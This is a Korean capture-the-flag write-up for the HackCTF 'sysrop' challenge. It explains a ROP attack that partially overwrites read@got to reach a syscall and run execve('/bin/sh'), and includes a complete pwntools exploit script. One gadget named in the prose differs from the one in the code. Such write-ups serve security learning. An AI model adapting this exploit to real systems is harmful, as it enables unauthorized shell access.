# process
stripped(안티디버깅)되어있어서 symbol을 load할 수 없다.
그리고 read 함수만 있다.
이때 syscall을 사용한 ROP 기법을 사용해서 익스할 수 있다.
일반적으로 함수 하위 세자리는 offset으로 고정적이다.
그리고 read 함수를 확인해보면 syscall이 존재한다.
이 read의 syscall을 이용할 것이다.
1. data 영역에 "/bin/sh" 문자열을 넣는다.
read 함수는 3개 인자를 필요로하므로 "pop rax; pop rdi; pop rsi; ret" gadget을 사용한다.
x64 인자 구성 순서는 rdi, rsi, rdx 이므로 인자 순서대로 값을 넣어주면 된다.
"/bin/sh" 문자열은 read로 data 영역에 입력받을 때 send한다.
2. read@got의 하위 1바이트를 syscall의 하위 1바이트로 덮는다.
syscall 하위 1바이트 : "\x5e"
이때도 3개의 인자가 필요하므로 위에서 사용한 gadget 사용
"\x5e"로 read@got에 read 함수로 입력받을 때 전달한다.
3. syscall을 사용해서 "/bin/sh"를 실행한다.
현재 read 함수는 syscall 주소로 덮힌 상태로 read 함수 호출 시 syscall이 호출된다.
syscall할 함수는 execve 함수이다.
따라서 execve의 syscall_id인 59를 rax 인자로 전달한다.
execve("/bin/sh", NULL, NULL);
을 구성해야 하므로 차례로 레지스터에 값을 넣으면 된다.
이때 4개의 인자를 사용하므로 "pop rax; pop rdx; pop rdi; pop rsi; ret" gadget을 사용한다.
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./sysrop")
p = remote("ctf.j0n9hyun.xyz", 3024)
elf =ELF("./sysrop")
#libc = ELF("./libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
data = 0x601030
p1ret = 0x004006ed # pop rsi; ret
p3ret = 0x004005eb # pop rdx; pop rdi; pop rsi; ret
p4ret = 0x4005ea #pop rax; pop rdx; pop rdi; pop rsi; ret
read_plt = elf.plt['read']
read_got = elf.got['read']
binsh = "/bin/sh\x00"
main = 0x4005f2
pay = 'A'*0x10 + 'B'*0x8
pay += p64(p3ret) + p64(len(binsh)) + p64(0) + p64(data) + p64(read_plt)
pay += p64(main)
p.sendline(pay)
sleep(0.1)
p.send(binsh)
sleep(0.1)
pay = 'A'*0x10 + 'B'*0x8
pay += p64(p3ret) + p64(1) + p64(0) + p64(read_got) + p64(read_plt)
pay += p64(p4ret) + p64(59) + p64(0) + p64(data) + p64(0) + p64(read_plt)
# syscall_id - 59 : execve
# execve("/bin/sh", NULL, NULL)
p.sendline(pay)
sleep(0.1)
p.sendline("\x5e")
sleep(0.1)
p.interactive()
sleep(0.1)을 사용해야 익스가 잘 됐다.
# expoit
[HackCTF] You are silver (0) | 2020.01.31 |
---|---|
[HackCTF] Look at me (sysrop) (0) | 2020.01.31 |
[HackCTF] Beginner Heap (0) | 2020.01.22 |
[HackCTF] Unexploitable #2 (0) | 2020.01.19 |
[HackCTF] Unexploitable #1 (0) | 2020.01.19 |